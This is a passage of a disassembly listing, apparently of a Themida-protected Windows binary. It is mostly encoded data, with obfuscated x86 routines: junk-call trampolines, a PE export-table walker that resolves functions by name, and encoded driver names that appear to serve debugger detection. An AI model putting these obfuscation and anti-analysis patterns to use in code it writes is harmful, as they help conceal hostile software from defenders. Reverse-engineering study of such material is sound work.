0C5ACDB62h, 0E82E1117h, 143C51F1h, 6C7FF5CCh, 1B60CE72h dd 4B1609D7h, 0A0CF675Fh, 176E17B9h, 0FAA7640h, 0C3BC1A5h dd 0A2EAD101h, 850DE4CBh, 1847F369h, 11691031h, 28h, 0FCAA1368h dd 2E1117D3h, 5151F1E8h, 6E17C2EBh, 0B3FBC012h, 0E7FFE5EBh dd 3B1351F1h, 0F1E84F35h, 0A33B6351h, 69108D74h, 0EDE5C4B1h dd 3D5A01h, 13710000h, 17D2FBABh, 0F1E82E11h, 0EAEDBA51h dd 6F4C86D3h, 0B83C6BC3h, 0B8804890h, 0F1E7CCB2h, 32B8E051h dd 51F1E84Ch, 22093860h, 2F8C4A17h, 1251FA00h, 10D3FCC1h dd 221169h, 17680000h, 8834894Ah, 8FF70130h, 4A17B6DFh dd 0FB01308Dh, 0F1E812F5h, 0A6CF3551h, 0C1126E17h, 6910D3FCh dd 39FF4017h, 5D1B4588h, 0FE88222Eh, 1779FFFFh, 0E863494Fh dd 4F7751F1h, 48A81620h, 0E7947A80h, 80A851F1h, 0F1E814FAh dd 68002851h, 5BAD1A20h, 0E2BF57E6h, 0E931C9F6h, 0AF01BA1Ch dd 70B866D3h, 0C1FCDBA8h, 21070D15h, 3558093Dh, 246750Dh dd 58093D1Ch, 165C0830h, 58093D1Eh, 31A26F45h, 4F0B5D8Ch dd 0D6991154h, 10EDF8h, 0D9040000h, 51F1E7F7h, 0F615A7Ch dd 0C231h, 0A5138800h, 44ABB1F9h, 5A57E5EEh, 0EE967C82h dd 82AA5805h, 3D5A2EAh, 31A774BCh, 0D4DAE28Eh, 5805EEEEh dd 1342DA02h, 5DB22603h, 5EF7157h, 0C55D8558h, 0EF9F0D19h dd 6244A1A7h, 0E365DFAh, 0E0DFF9C6h, 9827B18Eh, 1E72E0ECh dd 436A5056h, 567E5E1Dh, 1D42EAD0h, 0B421FE5Eh, 8DD56D05h dd 11B4AA87h, 2C749C64h, 8E94775Fh, 643494A8h, 0A73D94BCh dd 0BE443A92h, 22FA4CE4h, 0B55DD44Bh, 4D7C7F24h, 49279442h dd 32798483h, 0C812200Ah, 0B6000007h, 6A479926h, 25025469h dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh dd 3E815734h, 0F4C70FECh, 80E96A2h, 58095322h, 12D43B36h dd 5B4147C4h, 6F51F1E8h, 0F603AF47h, 56B026E0h, 3C94407Dh dd 8A0F8A4h, 2B9AE9C0h, 693B4B77h, 13C3D03Ah, 0E3EFFCA8h dd 5D09B423h, 4BC16D05h, 9446ABE7h, 12DF1230h, 0C0CBFABFh dd 9EFF516h, 1D51F1EEh, 0EE593F45h, 456D51F1h, 0F6CD15ADh dd 0A0A95448h, 1114029h, 427B5C29h, 38BEA713h, 3140FEEDh dd 57000000h, 0B1F9A513h, 0E51CECABh, 0CE7AA257h, 5FCA688h dd 11AC2B58h, 427B5865h, 0E39F4196h, 946137FEh, 0FA4C7B44h dd 0DD224358h, 95DCF8D9h, 0F3000000h, 4349A513h, 51F1E85Dh dd 78419471h, 44DC74CCh, 0B79E25FCh, 9D715273h, 0BBEA8239h dd 0B720EDB5h, 3093D706h, 3E57E5E9h, 0CA7A6066h, 668E5806h dd 5703BA19h, 0AEBB67FFh, 0C7F4DE28h, 0E32BC31Bh, 674D531Bh dd 7B5806CAh, 0C9E7CD53h, 0D3FB5806h, 1FB794A4h, 76E4F09Ch dd 0CA2E141Ah, 1A425806h, 0A5723A82h, 0EFD5DB32h, 35806C9h dd 0D01443DBh, 5DFAD069h, 0BBA1A77Fh, 0CF5E1AD0h, 0FFC70FA7h dd 4015E728h, 991FDD87h, 5E1A81B3h, 84529FC7h, 3FF80837h dd 2F8C4A17h, 0AB58B400h, 4349913Dh, 57E501F8h, 0E7FD9EC6h dd 5DBF8410h, 295818C8h, 1C3A4CE5h, 1EC23096h, 4AA9D0D6h dd 173F1E70h, 1B0107CFh, 2F1E912Bh, 626ED807h, 0FE044CF4h dd 24846609h, 0FECB133Bh, 0F12D24D8h, 0CA27F6FEh, 0D303E032h dd 84CC0AE8h, 0EBD57208h, 60EDDh, 536C7000h, 0EAF2401h dd 0C8F3DFBCh, 7D3C9976h, 34894E2Bh, 0A10FA9E2h, 58358736h dd 11EE4079h, 0C9A6F8C7h, 505CAE0Dh, 54DCC2C8h, 0F5F05809h dd 0F7C4128Eh, 27943E4Bh, 0E38BF9D5h, 5B38959Bh, 0D1A857E6h dd 0D8903AD1h, 1599C829h, 713941EDh, 99F856Bh, 42719958h dd 42209B37h, 3EA4909Eh, 0A81F2D17h, 0D6000005h, 8A67B906h dd 45227449h, 0FFDC2E8Dh, 0B491E3D6h, 0F489A23h, 0EDD007A9h dd 0A613BE9Bh, 5E617754h, 14A72F0Ch, 282EB6C2h, 58095542h dd 17F45B56h, 0E863494Fh, 4F7751F1h, 0E81B0107h, 72F51F1h dd 0B060CED8h, 5C096268h, 0A97157E6h, 93CBDA3h, 7AA9D158h dd 32181EF6h, 4658093Dh, 0CDDA861Eh, 12D8B605h, 0B73EA4F3h dd 539BFCDh, 97450000h, 0DAF9D628h, 1EB491E3h, 676E4B9Dh dd 0B4230052h, 3A7EB709h, 0A5C6176h, 0C315A42Dh, 7BCDF2E6h dd 3183389Eh, 0B1979D25h, 0C5580955h, 0A51363CAh, 66ABB1F9h dd 3857E65Bh, 8F5C6410h, 0A318BE46h, 0D8079FF7h, 0D8B605CDh dd 3EA4F41Ch, 0E4C9D7C1h, 9A000004h, 4E2B7D42h, 9E63885h dd 0C3A0F2C9h, 7855A712h, 0D30C5E5Fh, 0B10CCBE5h, 6A4F825Fh dd 229D3B18h, 0D8E3F3D0h, 0ECF27A86h, 58095606h, 12B81F1Ah dd 3E4BF7C4h, 1772398h, 8F47FD9Dh, 0E790767Ch, 7CA451F1h dd 0EDBA92E4h, 9DA8D7E6h, 0CED68239h, 0BA1031F7h, 9BF39F1Ch dd 40F8E044h, 5EEACD11h, 547851F2h, 0E3D8FE36h, 0E922B491h dd 0F25EFDE3h, 9CE91151h, 7FD7833Ch, 4D29FE7h, 54ECD102h dd 0B72150A8h, 3D8F2CAAh, 34BF361h, 0EB1D0A2Ch, 3665B2C7h dd 0A7972A30h, 0BB8357E5h, 686CFB5h, 0AEFCE358h, 0C2954F3Dh dd 0C044730Bh, 52835098h, 1BE1A67h, 64CEFD55h, 6853C1Eh dd 65254758h, 0D950F76Eh, 2007F8h, 131E0000h, 0ABB1F9A5h dd 57E502E8h, 9CE28EB6h, 580602BAh, 0ECE7A3C5h, 0F8D9D679h dd 0E285h, 40179C00h, 0D08CDDFBh, 0B6C1F052h, 86539B20h dd 69C16D52h, 0D201BA1Ch, 417C5B68h, 7A6A22F9h, 927912B7h dd 0EAECF963h, 6E06B71Ch, 9A21B5C2h, 640D3248h, 0BE1851F2h dd 6561474Dh, 987551F2h, 7CD48039h, 22FA4CE4h, 553FB44Bh dd 598832E8h, 0EB33884Eh, 0B9371D23h, 234B51F2h, 107E8AF4h dd 6F121860h, 0FD57E60Ah, 39A783D5h, 0FE7B25D6h, 66BD3BE5h dd 0F5851DACh, 0EB33CBA2h, 0FC3E62E5h, 4088B05Dh, 396FA178h dd 3A49FEBAh, 0E6D7000Bh, 9D20B794h, 8FB13FBFh, 0BAC8B238h dd 35Bh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh dd 7B030F61h, 9578F75h, 41A8A358h, 0A6F8C512h, 66AE0DC9h dd 0E7B2989Eh, 9EC651F1h, 13A65F6Fh, 0E4B1F9A5h, 0C61ECAF3h dd 0E792787Eh, 7EA651F1h, 8043494Fh, 4E57E503h, 0C02BE167h dd 12AA341Ah, 0CE965E66h, 692E2C8h, 48CEF658h, 58069362h dd 0B2989E76h, 0C6580692h, 93D7069Eh, 580692B1h, 0E3F89ABCh dd 0F8D94682h, 957Ch, 0CE9D7400h, 555E132Ch, 1A00064Eh dd 2E58061Ah, 12F0D706h, 3E4BF7C4h, 32782499h, 51F1EC0Dh dd 0ABFDBE18h, 7B308CEh, 99E18DFBh, 0E53DF093h, 4567E57h dd 0CE16BA28h, 0FAF0A4C8h, 0D94D345Dh, 7E0788FFh, 0F2BF079Fh dd 0A986D8E5h, 0C2F7DA2Eh, 83BC4C2Ah, 5F493891h, 26E51h dd 0F3CC1000h, 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh dd 416F4982h, 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh dd 587C6268h, 95905809h, 0F8C5122Eh, 0AE0DC9A6h, 0C412A35Ch dd 983E4BF7h, 87F5D123h, 5F0BB022h, 8A368352h, 0BA029A32h dd 0E51CF5B4h, 755C2957h, 0DEE1F744h, 57032BAFh, 9B81874Fh dd 0AF5805FCh, 32145887h, 3D5805FDh, 1647F1Bh, 0FDF8D9D9h dd 2Eh, 0F9A51314h, 1BA8ABB1h, 0A77457E5h, 0DC608F2Ah dd 0E0C208B4h, 0EB5805FBh, 531289C9h, 0BF8D9DDh, 24154334h dd 215001B0h, 4ABBh, 4A17D200h, 7784308Dh, 99C8605Bh, 0F1E87255h dd 3036FE51h, 51F1E84Ah, 0E7F0D6DCh, 0DC0451F1h, 34A1EE16h dd 0DE4C5685h, 4B22EA32h, 1A2C4C4Dh, 696DBAC6h, 44DF2352h dd 3057E60Eh, 0A04C6F63h, 0B8951948h, 9EF6A21Bh, 17FBB406h dd 332874Ah, 9BE38BF9h, 0E51AD695h, 0B8648C57h, 5D33D9B0h dd 685D38EEh, 6A13F539h, 0FC1E5806h, 6C20455Eh, 2CDEF8D9h dd 0F5000000h, 0F1E7F7D9h, 1FB48151h, 0E802E8EEh, 0EE1651F1h dd 0A493AA56h, 0FEF285EBh, 0ECE936CEh, 26949ECDh, 912C327Ah dd 0FF57E6B7h, 13CC85D7h, 0ABB1F9A5h, 57E65B5Eh, 0F3C00830h dd 0A986D8E3h, 6F468E2Dh, 0D3D17B10h, 0B41E4DEFh, 0A2D73AA8h dd 9F8783B8h, 6A518966h, 58F0ED50h, 0A87278C0h, 745DFD8Eh dd 9F37044Ch, 9F4B6E67h, 805DAF47h, 501D6556h, 0E8ED3A83h dd 2C38A2D1h, 437A5DBEh, 577C76ECh, 0B44C93D4h, 5D07666Ch dd 0D5FD6413h, 79F31BF7h, 614FE32h, 0B7h, 58AA15C7h, 1365587Bh dd 0CD1F9C36h, 82D4E5F0h, 398B32A5h, 0DFF8B800h, 22AF8CDEh dd 70684597h, 0B620FD4Fh, 1FA7B305h, 95A3319h, 0E54C4758h dd 8D334017h, 784EE8D4h, 78D13F49h, 5AB25E5Fh, 0ACB27AC2h dd 51F1FDC6h, 7D83B2DAh, 0E671C177h, 0A14D7557h, 11C44294h dd 31E5FCA8h, 7594104Bh, 94DC740Ch, 82B10CC7h, 0CA419572h dd 99BDEC4h, 32CAF258h, 9E124086h, 52B63168h, 0E1DAFC30h dd 9724B28Fh, 0C2F7DEEBh, 9E6BC116h, 7ED68237h, 0AC5DFD4Fh dd 18C4F7DFh, 508691C0h, 9A3C196Bh, 0A06D7521h, 0EED4DA33h dd 2D1AA9Eh, 71342DAh, 3, 127DE45Eh, 3C49F5CAh, 6875219Ah dd 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h dd 7A873388h, 33B86459h, 612368h, 24048900h, 4EB468h, 242C8900h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 95BD2414h dd 817E4A21h, 662DFFEDh, 88B8500Dh, 0C12F9658h, 0ED0502E0h dd 2D5A2E4Eh, 32B471BCh, 2D04E0C1h, 0E63F4F76h, 5458C531h dd 8324148Bh, 0EC8304C4h, 242C8904h, 0FF08428Fh, 835A2434h dd 34FF04C4h, 0C4835D24h, 0A1DE904h, 0EC8FFFFDh ; --------------------------------------------------------------------------- or al, 52h loc_57FFE6: ; CODE XREF: sub_57DEF5:loc_57E114j mov eax, 6177391h add eax, ebp jmp eax sub_57DEF5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 86h dd 2617FDC7h, 0D271932Dh, 0E7551039h, 0D615088h, 94358583h dd 8099DD4h, 0AB4D467Dh, 60188AFAh, 5A21613Ah, 0EF0EA303h dd 0B045ABE8h, 0DF2A4E16h db 96h, 3Ch, 63h byte_580023 db 0Ch ; DATA XREF: Themida_:005497E8o ; Themida_:00549FECo ... dd 0D725E07Ah, 0BD7C470Ah, 882E10E3h, 8D1719D8h, 3050285Ch dd 7B2DDCF0h, 6502BFB2h, 823EA5AFh ; --------------------------------------------------------------------------- locret_580044: ; DATA XREF: ___:off_43285Co ; ___:00432864o ... retf 2A1h ; --------------------------------------------------------------------------- db 63h dd 0D672D11Ch, 0C9351654h, 0E8490032h, 13h, 48B9D9BDh dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 0FB86EC8h, 605ED8BFh dd 0DE9h, 2B881B00h, 1CBCFAD2h, 312F67FBh, 0CAB099FAh dd 0F8C68161h, 8B000067h, 80D22BC7h, 34FF4AEFh, 0BBB6632h dd 0F98B59E5h, 15ADF181h, 0E981487Ch, 7654868h, 0E091E981h dd 0F5120AAh, 1485h, 0FE900h, 56DF0000h, 5274739Eh, 6EA2B22Fh dd 0E2019892h, 16048F82h, 0DA8B3FB7h, 0F01EA83h, 4A4AC7BFh dd 0EF81664Ah, 0FA816E21h, 0FFFF98D4h, 22850Fh, 80600000h dd 9E985CDh, 94000000h, 95C06F41h, 0F67B0BCBh, 26E961h dd 0E0310000h, 23319673h, 337B3676h, 44DB8166h, 0FF7CE933h dd 9CB4FFFFh, 444528A2h, 59268F03h, 36A2EAE2h, 0BEC6C8CFh dd 13E8h, 0AAA73800h, 6E89A91Eh, 841976Fh, 30F36C4Eh, 36656761h dd 5031CF81h, 0F5E0CE9h, 0C84h, 68F0F00h, 81000000h, 1D99DAC0h dd 1DC68160h, 52000067h, 0E81BB660h, 0Dh, 0EC737686h, 3ECB12B0h dd 0F8CA4C0Bh, 586158ECh, 199F68h, 168B5900h, 0F2812CB3h dd 61E576F9h, 5E9h, 0E7C47700h, 0EA81BDDFh, 3931094h, 0C281FB8Bh dd 1764B1C4h, 8E9h, 90082300h, 277CFB03h, 661689B1h, 0EE81D88Bh dd 47D6D6A8h, 5881BE60h, 0D98B51C8h, 0A4C68161h, 8347D6D6h dd 850F01E9h, 0FFFFFFAEh, 34EBDF8Bh, 4D534649h, 20205247h dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h dd 20203233h, 4C445856h, 20205244h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_58081E ; --------------------------------------------------------------------------- push 0 push edi call sub_580218 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580218 proc near ; CODE XREF: Themida_:00580210p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_580218 endp ; --------------------------------------------------------------------------- dd 25E73AEDh, 6A60662Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 8A2DC355h, 947AE338h dd 0C7F8F00Fh, 17761D85h, 6, 0BB666000h, 0F78175B1h, 412A1A6Fh dd 0F5C68B61h, 0FD8B70Fh, 1484h, 0E860F00h, 0E9000000h dd 9, 0CD94700Fh, 7DDA899Dh, 10E8C1B4h, 18D0Fh, 0E9F50000h dd 0Eh, 5841C7EAh, 5FD20EEFh, 0C1D52720h, 0C166406Fh, 6A08C8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 85893AC3h, 6177621h, 0CBC166F5h, 91B56008h, 0BE8h, 0A54F4700h dd 41C3D0F7h, 59BC8DBCh, 840F6159h, 1, 40FB83F8h, 30850Fh dd 8DF50000h, 1775F5BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0F190454h, 0FCFBC6AFh dd 180E9h, 0FB83F800h, 25850F0Dh, 60000000h, 66D1BF0Fh dd 63E4CB81h, 0FDBD8D61h, 0F5061775h, 160E9h, 0AE900h dd 0ED200000h, 9F26BD7Dh, 0FAEE3C0Dh, 0F01FB83h, 8F85h dd 0BE900h, 837B0000h, 909B1A65h, 0B2E741DCh, 0B70F60EAh dd 8D61F8CBh, 177605BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 5C1E6734h, 0ADF95D65h dd 2E9E724h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 4009C355h, 71AB77DDh dd 3BBB6660h, 2850F4Bh, 53000000h, 8D0F615Fh, 14h, 0FE9h dd 891BD700h, 38BA3E98h, 0B530C7B3h, 0B6B160A8h, 0F2AFB83h dd 5A85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 66602E31h, 60FA6EBAh, 5E96160h, 95000000h dd 7575B66Bh, 0BD8D6161h, 617760Dh, 0CE9h, 960C7000h, 0FD1E1624h dd 5C755762h, 63E98Ah, 8E90000h, 0C5000000h, 7DCAE7Fh dd 83E6541Ch, 850F27FBh, 224h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 24C35646h, 0B112C6E4h, 15BD8DF5h dd 6A061776h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 60CEC350h, 61E3B1FCh, 0F9FB8B60h dd 25BD8961h, 60061776h, 66926BB8h, 0C7816606h, 66616FAFh dd 0E960C88Ch, 0Eh, 427D973h, 0AD7873C2h, 98A0E8EDh, 24614F9Fh dd 0C00AF803h, 103850Fh, 890F0000h, 8, 2850Fh, 61600000h dd 7B4DB58Dh, 8BFC0617h, 177BCD85h, 0F50F906h, 0A81h, 5E900h dd 85220000h, 897F929Fh, 6A2414h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 919B61C3h, 18C0Fh, 0F9FC0000h dd 244C010Fh, 5870FFEh, 60000000h, 61F85F57h, 57006A5Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 83E4C6DEh, 0FC6024C2h, 1840Fh, 61F90000h, 0FC728966h dd 0CE9h, 4655B500h, 0E33EF3B2h, 5412BB20h, 10CEC1CCh dd 1B8D0Fh, 0E8600000h, 0Dh, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h dd 0E7815F20h, 26797630h, 72896661h, 4CDF502h, 14E9h, 96D75F00h dd 1376664Dh, 23A279CBh, 5EF55E99h, 0B300D7B9h, 98E92Fh dd 0EE90000h, 6A000000h, 17482FA8h, 19BEA893h, 8C968471h dd 0CD858B8Eh, 6A06177Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0D5DC352h, 32AF7B82h dd 0B58DE2F4h, 6177B4Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 39C35040h, 3C51AD54h, 0CE3709F2h, 12858DF9h dd 6A06174Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7F13C352h, 604B1CECh, 9048D281h dd 0FF6174ECh, 8589F5D0h, 617761Dh, 8E960h, 92E10000h dd 25326681h, 0B966C7CAh, 0FC616809h, 0FE961h, 2E00000h dd 589C2A82h, 797BA4C0h, 91DAF572h, 0E9566054h, 0Bh, 0AC148B27h dd 0BC5EEEF8h, 5A76EE00h, 5E58BB66h, 1D858B61h, 6A061776h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F01C352h, 18Ah, 8C0FFC00h, 17h, 12E9h, 0D93EA00h dd 0D217F168h, 0FE4C5F0Eh, 98504F4Ch, 0C34E382Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 33C35242h, 0B9C5ED78h dd 0E83AC46Ch, 12E937h, 2D7D0000h, 0FC2A62AEh, 6AF8B8B7h dd 78B68491h, 5A40A16h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 25D687F8h, 0F94FEBD6h dd 0CDBD83FCh, 6177Bh, 31850Fh, 12E90000h, 0A8000000h dd 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh, 0CD85C719h dd 3F06177Bh, 0F000101h, 0A85h, 5E900h, 7D180000h, 0E99A6E7Ah dd 16h, 11E9h, 605F1200h, 9254BCEh, 2811C860h, 26DF8A2Ah dd 20CDD029h, 0 ; --------------------------------------------------------------------------- loc_5807B0: ; CODE XREF: Themida_:005807E9j or eax, eax jz short loc_5807EB lea esi, [eax+0Ch] mov edi, [ebp+6177625h] mov ecx, 8 loc_5807C2: ; CODE XREF: Themida_:005807C6j cmpsb jnz short loc_5807E7 dec ecx jnz short loc_5807C2 mov ecx, [eax+30h] mov ebx, [ebp+6177621h] cmp ebx, [eax+34h] jg short loc_5807EB mov edx, ebx imul edx, 4 add ecx, edx mov eax, [ecx] mov [ebp+617761Dh], eax jmp short loc_5807EB ; --------------------------------------------------------------------------- loc_5807E7: ; CODE XREF: Themida_:005807C3j mov eax, [eax] jmp short loc_5807B0 ; --------------------------------------------------------------------------- loc_5807EB: ; CODE XREF: Themida_:005807B2j ; Themida_:005807D4j ... popa mov eax, [ebp+617761Dh] iret ; --------------------------------------------------------------------------- jmp loc_5807FE ; --------------------------------------------------------------------------- db 0CCh ; --------------------------------------------------------------------------- cli test byte ptr [ebp+46h], 0FAh loc_5807FE: ; CODE XREF: Themida_:005807F3j push 0 push esi call sub_580809 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580809 proc near ; CODE XREF: Themida_:00580801p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_580809 endp ; --------------------------------------------------------------------------- db 0EBh, 88h, 9Bh db 6Eh, 0F8h ; --------------------------------------------------------------------------- loc_58081E: ; CODE XREF: Themida_:00580208j mov eax, eax jmp loc_5808A8 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5808A1 movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5808A1 mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_58086B: ; CODE XREF: Themida_:00580881j ; Themida_:00580889j inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_580879: ; CODE XREF: Themida_:00580885j mov al, [edx] test al, al jz short loc_580887 cmp al, [ebx] jnz short loc_58086B inc ebx inc edx jmp short loc_580879 ; --------------------------------------------------------------------------- loc_580887: ; CODE XREF: Themida_:0058087Dj cmp al, [ebx] jnz short loc_58086B pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_580899: ; CODE XREF: Themida_:005808A3j pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5808A1: ; CODE XREF: Themida_:00580833j ; Themida_:00580844j xor eax, eax jmp loc_580899 ; --------------------------------------------------------------------------- loc_5808A8: ; CODE XREF: Themida_:00580820j mov ecx, edx jmp loc_580CAF ; --------------------------------------------------------------------------- align 10h dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_580CAF: ; CODE XREF: Themida_:005808AAj jmp loc_581E26 ; --------------------------------------------------------------------------- or [ebp+6140995h], ebx mov eax, [ebp+6143481h] mov [ebp+6140BC1h], eax cmp [esp+4], eax jnz loc_580DA4 push 0 push esi call sub_580CDB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580CDB proc near ; CODE XREF: Themida_:00580CD3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_580CDB endp ; --------------------------------------------------------------------------- sbb cl, [ecx] scasd shr byte ptr [ebx+63h], 1 dec ecx jg short loc_580CF6 mov bh, 29h loc_580CF6: ; CODE XREF: Themida_:00580CF2j xchg eax, ebp mov eax, ds:60061425h mov si, ax popa cmp dword ptr [ebp+61414CDh], 0 jz loc_580DA4 push 0 push edx call sub_580D18 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D18 proc near ; CODE XREF: Themida_:00580D10p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_580D18 endp ; --------------------------------------------------------------------------- dd 0E9203F66h, 0Eh, 0E7368A6Bh, 7BD3E0D1h, 406561FEh, 51609319h dd 958B5BF9h, 61425E1h, 13858D61h, 0F06143Bh, 680h, 0ED9D8900h dd 60061424h, 80F0B70Fh, 0FF6162EBh, 53006AE0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 1D880FF1h dd 60000000h, 10E9h, 865CD100h, 9D3E0532h, 0CAFB617Ch dd 0B71A89DDh, 39B58BF6h, 6106140Dh ; --------------------------------------------------------------------------- loc_580DA4: ; CODE XREF: Themida_:00580CCAj ; Themida_:00580D07j mov eax, [ebp+6140931h] push 0 push edi call sub_580DB5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580DB5 proc near ; CODE XREF: Themida_:00580DADp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_580DB5 endp ; --------------------------------------------------------------------------- db 0ECh, 60h, 89h ; --------------------------------------------------------------------------- xchg eax, ebp rcl dword ptr [esi], 1 adc al, 6 pusha sub [ebp+61402E9h], eax popa popa jmp loc_580DE3 ; --------------------------------------------------------------------------- mov ch, 0A9h xchg eax, esi fstp8 st(2) xchg bl, [eax+7Ah] loc_580DE3: ; CODE XREF: Themida_:00580DD6j cmp [esp+4], eax jnz loc_580E22 jnp loc_580DF4 stc loc_580DF4: ; CODE XREF: Themida_:00580DEDj mov dword ptr [ebp+61780CCh], 1 push 0 push esi call sub_580E09 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580E09 proc near ; CODE XREF: Themida_:00580E01p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_580E09 endp ; --------------------------------------------------------------------------- mov edi, ebx das cdq retn 65F6h ; --------------------------------------------------------------------------- db 5Fh, 0DDh ; --------------------------------------------------------------------------- loc_580E22: ; CODE XREF: Themida_:00580DE7j pusha push 0 push edi call sub_580E2E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580E2E proc near ; CODE XREF: Themida_:00580E26p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_580E2E endp ; --------------------------------------------------------------------------- dw 8933h ; --------------------------------------------------------------------------- add byte ptr [esp+ebx*2-75h], 2Bh jmp loc_580E5E ; --------------------------------------------------------------------------- dw 3FF9h dd 0DDBF1B5Dh, 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h db 72h, 0EAh ; --------------------------------------------------------------------------- loc_580E5E: ; CODE XREF: Themida_:00580E45j clc jmp loc_580E82 ; --------------------------------------------------------------------------- dd 6840F60h, 89000000h, 14045985h, 0E1816606h, 0F61B149h dd 188h, 0F900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_580E82: ; CODE XREF: Themida_:00580E5Fj mov eax, 1 loc_580E87: ; CODE XREF: Themida_:00580E8Fj xchg eax, [ebp+617829Fh] or eax, eax jnz short loc_580E87 push dword ptr [ebp+6141A59h] pop dword ptr [ebp+61780C4h] push 20h push 0FFFFFFFFh call dword ptr [ebp+6143525h] cmp dword ptr [ebp+6142C45h], 0 jz short loc_580EB8 push 0 call dword ptr [ebp+6141169h] loc_580EB8: ; CODE XREF: Themida_:00580EAEj cmp dword ptr [ebp+61403D9h], 1 jz short loc_580ECE push 80h push 0FFFFFFFFh call dword ptr [ebp+6143525h] loc_580ECE: ; CODE XREF: Themida_:00580EBFj push 0 push edi call sub_580ED9 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580ED9 proc near ; CODE XREF: Themida_:00580ED1p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_580ED9 endp ; --------------------------------------------------------------------------- dec ecx dec esp sub byte ptr [edx+0], 57h call sub_580EF7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580EF7 proc near ; CODE XREF: Themida_:00580EEFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_580EF7 endp ; --------------------------------------------------------------------------- sar byte ptr [esi-8], cl mov eax, 0 or [ebp+6141C59h], edi mov edx, [esp+28h] push 0 push esi call sub_580F24 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580F24 proc near ; CODE 